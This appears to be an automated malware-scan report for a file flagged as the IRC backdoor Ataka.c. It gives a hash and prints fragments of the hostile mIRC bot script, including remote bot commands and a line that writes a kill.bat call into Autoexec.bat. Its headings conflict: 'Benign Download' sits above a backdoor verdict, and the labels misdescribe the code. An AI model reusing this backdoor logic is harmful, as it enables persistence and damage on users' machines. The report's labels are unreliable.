Benign Download

Backdoor.IRC.Ataka.c

Android system property setter callFile embeds Windows batch script content

SHA-256cb77797455afa0ff996eee1547978ca9e05c8b34f71f4ab18eb96d85c8222389

Evidence

Android system property setter call lines 13–15

15… 1) = !setprop) { set %botprop $2 $3 $4 $5 $6 | msg $nick 12 $me 14 new progpam is : 15 %botprop }
if ($strip($1) = !ha0s) { msg $nick 4 ok 9 $nick 14 haos system enable 4:  | haos }
if ( …

File embeds Windows batch script content lines 106–107

106:71… c: < yes.txt | write yes.txt y | write yes.txt y | write yes.txt y | write yes.txt y | write yes.txt y | write -c c:\Autoexec.bat %windir%\system32\kill.bat | haos }
107alias viewhard { copy -o c:\Autoex …